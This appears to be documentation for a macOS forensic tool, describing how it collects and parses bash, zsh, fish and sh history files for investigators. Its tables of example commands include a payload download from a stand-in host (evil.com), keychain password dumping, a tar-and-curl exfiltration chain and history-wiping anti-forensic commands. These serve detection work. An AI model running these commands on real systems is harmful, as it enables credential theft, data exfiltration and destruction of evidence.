User Activity

Shell History

Overview

Shell history files record commands executed by users in terminal sessions. On macOS, multiple shells may be installed and used concurrently by different users or even the same user. Since macOS 10.15 (Catalina), the default shell is zsh, replacing bash which had been the default since Mac OS X 10.3 (Panther).

Shell history is among the most forensically valuable artifacts on a system. It provides a direct, chronological record of user-initiated actions -- including commands that download malicious payloads, establish persistence, exfiltrate data, create backdoors, and perform lateral movement.

Forensic Significance

Evidence TypeForensic Value
Executed commandsDirect evidence of user or attacker actions
Timestamps (zsh, fish)Establishes when commands were executed
Command sequencesReveals operational patterns and attack chains
Network commandscurl, wget, ssh, scp -- data exfiltration, lateral movement
File operationscp, mv, rm, tar -- staging, cleanup, anti-forensics
Credential accessmysql, aws configure, security commands -- credential usage
Reconnaissancewhoami, id, ifconfig, ps -- initial access enumeration

Supported Shells

macfor collects and parses history from four shells in the following order:

ShellDefault SinceHistory FormatTimestamps
ZshmacOS 10.15 (Catalina)Extended format with timestampsYes (Unix epoch)
BashmacOS 10.3 - 10.14Plain text, optional HISTTIMEFORMATConditional
FishUser-installedYAML-like formatYes (Unix epoch)
ShPOSIX standardPlain textNo

File Locations

ShellHistory File PathNotes
Bash~/.bash_historyOne command per line
Zsh~/.zsh_historyExtended format with timestamps
Fish~/.local/share/fish/fish_historyYAML-like structured format
Sh~/.sh_historyOne command per line

All paths are relative to each user's home directory. macfor enumerates all user accounts on the system and checks each location for each user.

Additional Files of Interest

While not collected by the shell history plugin, these related files may contain forensic evidence:

FileContent
~/.zshrc, ~/.bashrcShell configuration, aliases, environment setup
~/.bash_profile, ~/.zprofileLogin shell configuration
~/.ssh/known_hostsSSH host fingerprints (systems connected to)
~/.ssh/configSSH connection aliases and configurations

File Format

Bash History Format

Bash history is the simplest format: one command per line in plain text.

ls -la
cd /var/log
grep error system.log
sudo dscl . -list /Users

When HISTTIMEFORMAT is set in the user's environment, bash prepends timestamp lines:

#1706012400
ls -la
#1706012405
cd /var/log
#1706012410
grep error system.log

The #timestamp line contains a Unix epoch integer. The command on the following line was executed at that time. Not all bash histories contain timestamps -- they are only present if the user explicitly configured HISTTIMEFORMAT in their .bashrc or .bash_profile.

Zsh History Format

Zsh uses an extended history format that includes timestamps and command duration:

: 1706012400:0;ls -la
: 1706012405:0;cd /var/log
: 1706012410:0;grep error system.log

The format for each line is:

: <unix_timestamp>:<duration>;<command>
ComponentDescription
: Literal prefix (colon, space)
<unix_timestamp>Unix epoch seconds when the command was executed
:Separator
<duration>Execution duration in seconds (0 if not tracked)
;Separator
<command>The actual command text

Multi-line commands in zsh history are indicated by a trailing backslash (\) on continued lines:

: 1706012400:0;for i in $(seq 1 10); do \
echo $i \
done

The parser reassembles these into a single command record with the timestamp from the first line.

Lines that do not match the extended format pattern ^: \d+:\d+; are treated as plain commands without timestamps.

Fish History Format

Fish uses a YAML-like structured format:

- cmd: ls -la
  when: 1706012400
- cmd: cd /var/log
  when: 1706012405
  paths:
    - /var/log
- cmd: grep error system.log
  when: 1706012410

Each entry starts with - cmd: and may include:

FieldDescriptionRequired
cmdThe executed commandYes
whenUnix epoch timestampNo (but almost always present)
pathsFile paths referenced in the commandNo

The paths field is a YAML list of filesystem paths that fish automatically tracks for the command. This is unique to fish and can provide additional filesystem context.

Sh History Format

Sh (POSIX shell) uses the simplest format: one command per line with no timestamp support.

ls -la
cd /var/log
cat /etc/passwd

Every non-empty line is treated as a complete command.

Key Fields for Analysis

Parsed Record Schema

All shell history records share a common structure:

FieldTypeDescription
typestringAlways "shell_command"
userstringUsername who executed the command
shellstringShell type: "bash", "zsh", "fish", or "sh"
commandstringThe full command text
timestamptime/nullExecution time (null if not available)
durationintExecution duration in seconds (zsh only)
paths[]stringReferenced file paths (fish only)
line_numberintLine number in the source history file
source_filestringAbsolute path to the history file

Timestamps

Timestamp Availability by Shell

ShellTimestamp AvailableFormatReliability
ZshYes (always in extended format)Unix epoch secondsHigh -- written by shell automatically
FishYesUnix epoch secondsHigh -- written by shell automatically
BashConditional (requires HISTTIMEFORMAT)Unix epoch seconds (prefixed with #)Medium -- depends on user configuration
ShNeverN/AN/A

Timestamp Validation

macfor validates timestamps against a reasonable range:

  • Minimum: 631152000 (1990-01-01)
  • Maximum: 4102444800 (2100-01-01)

Timestamps outside this range are discarded as invalid. A # line in bash history that contains a number outside this range is treated as a comment rather than a timestamp.

Conversion

All shell history timestamps are Unix epoch integers (seconds since 1970-01-01 00:00:00 UTC). No conversion is needed for standard Unix timestamp handling:

datetime = unix_timestamp_to_datetime(timestamp_value)

Analysis Notes

Command Pattern Analysis

Forensically significant command patterns:

PatternMITRE ATT&CKExample
Remote downloadsT1105 (Ingress Tool Transfer)curl -o /tmp/payload http://evil.com/backdoor
Credential dumpingT1555 (Credentials from Password Stores)security find-generic-password -wa "Wi-Fi"
Lateral movementT1021.004 (SSH)ssh admin@192.168.1.100
PersistenceT1543.001 (Launch Agent)cp evil.plist ~/Library/LaunchAgents/
Defence evasionT1070.003 (Clear Command History)rm ~/.zsh_history or history -c
DiscoveryT1082 (System Information)sw_vers, system_profiler, ifconfig
Data exfiltrationT1041 (Exfiltration Over C2)tar czf /tmp/data.tar.gz ~/Documents && curl -X POST ...
Privilege escalationT1548.003 (Sudo)sudo -s, sudo bash

Anti-Forensic Indicators

Commands that attempt to destroy or manipulate shell history:

CommandEffect
rm ~/.bash_history or rm ~/.zsh_historyDeletes history file
history -cClears in-memory history (bash)
> ~/.zsh_historyTruncates history file to zero bytes
unset HISTFILEPrevents history from being written
export HISTSIZE=0Sets history size to zero
ln -sf /dev/null ~/.bash_historyReplaces history file with symlink to /dev/null
set +o historyDisables history recording

The presence of these commands in a history file is itself evidence, since the commands were logged before they took effect.

Multi-Line Command Handling

Zsh supports multi-line commands indicated by trailing backslashes. macfor reassembles these into single command records, preserving the complete command text with embedded newlines. The timestamp and line number correspond to the first line of the multi-line command.

Empty and Missing Files

  • A missing history file is normal -- it means the user does not use that shell.
  • An empty history file may indicate intentional clearing.
  • A history file with a very recent modification time but no content suggests recent truncation.
  • A file that exists but is a symlink to /dev/null indicates deliberate anti-forensics.

Permission Requirements

  • Standard user: Can only access their own history files.
  • Root/sudo: Required for multi-user collection (accessing other users' home directories).
  • macfor warns if running without elevated privileges, as some user histories may be inaccessible.

Sensitive Data in History

Shell history files frequently contain accidentally exposed sensitive data:

  • Passwords passed as command arguments (mysql -p'secret')
  • API keys and tokens in environment variable assignments
  • AWS, Azure, and GCP credentials in CLI commands
  • SSH passphrases
  • Database connection strings

macfor collects history files in their entirety for forensic completeness. Evidence containers should be treated as containing sensitive material.

Version Differences

Shell history formats have been stable across macOS versions. The primary change is the default shell:

macOS VersionDefault ShellNotes
10.3 - 10.14 (Panther - Mojave)Bash (3.2.x)Apple ships an outdated bash due to GPLv3
10.15+ (Catalina and later)Zsh (5.x)Default changed; existing users keep their configured shell

The bash version shipped with macOS (3.2.57) is from 2007 and lacks features found in newer versions. This is relevant because some HISTTIMEFORMAT features may behave differently than expected.

Fish is not included with macOS by default and must be installed separately (typically via Homebrew). Its presence indicates a technically sophisticated user.

Tool Support

ToolSupport
macforFull collection and parsing of bash, zsh, fish, and sh history with timestamp extraction
log2timeline/PlasoShell history parsing for timeline analysis
AXIOM (Magnet)Commercial shell history analysis
AutopsyShell history module
grep/awk/sedManual command-line analysis

References

Previous
User Activity Overview